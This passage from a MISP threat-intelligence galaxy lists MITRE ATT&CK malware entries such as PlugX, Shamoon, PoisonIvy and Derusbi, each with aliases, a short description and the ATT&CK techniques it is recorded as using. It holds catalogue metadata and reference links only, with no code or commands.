Rover - S0090 is also known as:
-
Rover
Rover - S0090 has relationships with:
-
similar: misp-galaxy:malpedia="Rover" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
Taidoor - S0011
[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)
The tag is: misp-galaxy:mitre-malware="Taidoor - S0011"
Taidoor - S0011 is also known as:
-
Taidoor
Taidoor - S0011 has relationships with:
-
similar: misp-galaxy:tool="Taidoor" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
Links |
WEBC2 - S0109
[WEBC2](https://attack.mitre.org/software/S0109) is a backdoor used by [APT1](https://attack.mitre.org/groups/G0006) to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-malware="WEBC2 - S0109"
WEBC2 - S0109 is also known as:
-
WEBC2
WEBC2 - S0109 has relationships with:
-
similar: misp-galaxy:tool="WEBC2" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Derusbi - S0021
[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)
The tag is: misp-galaxy:mitre-malware="Derusbi - S0021"
Derusbi - S0021 is also known as:
-
Derusbi
-
PHOTO
Derusbi - S0021 has relationships with:
-
similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Derusbi" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/ |
JPIN - S0201
[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)
The tag is: misp-galaxy:mitre-malware="JPIN - S0201"
JPIN - S0201 is also known as:
-
JPIN
JPIN - S0201 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
Links |
PoisonIvy - S0012
[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)
The tag is: misp-galaxy:mitre-malware="PoisonIvy - S0012"
PoisonIvy - S0012 is also known as:
-
PoisonIvy
-
Poison Ivy
-
Darkmoon
PoisonIvy - S0012 has relationships with:
-
similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
Nerex - S0210
[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)
The tag is: misp-galaxy:mitre-malware="Nerex - S0210"
Nerex - S0210 is also known as:
-
Nerex
Nerex - S0210 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99 |
BACKSPACE - S0031
[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)
The tag is: misp-galaxy:mitre-malware="BACKSPACE - S0031"
BACKSPACE - S0031 is also known as:
-
BACKSPACE
-
Lecna
BACKSPACE - S0031 has relationships with:
-
similar: misp-galaxy:tool="Backspace" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
Links |
Dendroid - S0301
[Dendroid](https://attack.mitre.org/software/S0301) is an Android malware family. (Citation: Lookout-Dendroid)
The tag is: misp-galaxy:mitre-malware="Dendroid - S0301"
Dendroid - S0301 is also known as:
-
Dendroid
Dendroid - S0301 has relationships with:
-
similar: misp-galaxy:rat="Dendroid" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
Links |
PlugX - S0013
[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)
The tag is: misp-galaxy:mitre-malware="PlugX - S0013"
PlugX - S0013 is also known as:
-
PlugX
-
DestroyRAT
-
Sogu
-
Kaba
-
Korplug
PlugX - S0013 has relationships with:
-
similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Fysbis - S0410
[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)
The tag is: misp-galaxy:mitre-malware="Fysbis - S0410"
Fysbis - S0410 is also known as:
-
Fysbis
Fysbis - S0410 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ |
Shamoon - S0140
[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)
The tag is: misp-galaxy:mitre-malware="Shamoon - S0140"
Shamoon - S0140 is also known as:
-
Shamoon
-
Disttrack
Shamoon - S0140 has relationships with:
-
similar: misp-galaxy:tool="Shamoon" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
Wiper - S0041
[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)
The tag is: misp-galaxy:mitre-malware="Wiper - S0041"
Wiper - S0041 is also known as:
-
Wiper
Wiper - S0041 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
Links |
MiniDuke - S0051
[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="MiniDuke - S0051"
MiniDuke - S0051 is also known as:
-
MiniDuke
MiniDuke - S0051 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
POSHSPY - S0150
[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)
The tag is: misp-galaxy:mitre-malware="POSHSPY - S0150"
POSHSPY - S0150 is also known as:
-
POSHSPY
POSHSPY - S0150 has relationships with:
-
similar: misp-galaxy:malpedia="POSHSPY" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html |
Ixeshe - S0015
[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)
The tag is: misp-galaxy:mitre-malware="Ixeshe - S0015"
Ixeshe - S0015 is also known as:
-
Ixeshe
Ixeshe - S0015 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
HDoor - S0061
[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)
The tag is: misp-galaxy:mitre-malware="HDoor - S0061"
HDoor - S0061 is also known as:
-
HDoor
-
Custom HDoor
HDoor - S0061 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
Links |
BISCUIT - S0017
[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-malware="BISCUIT - S0017"
BISCUIT - S0017 is also known as:
-
BISCUIT
BISCUIT - S0017 has relationships with:
-
similar: misp-galaxy:tool="BISCUIT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
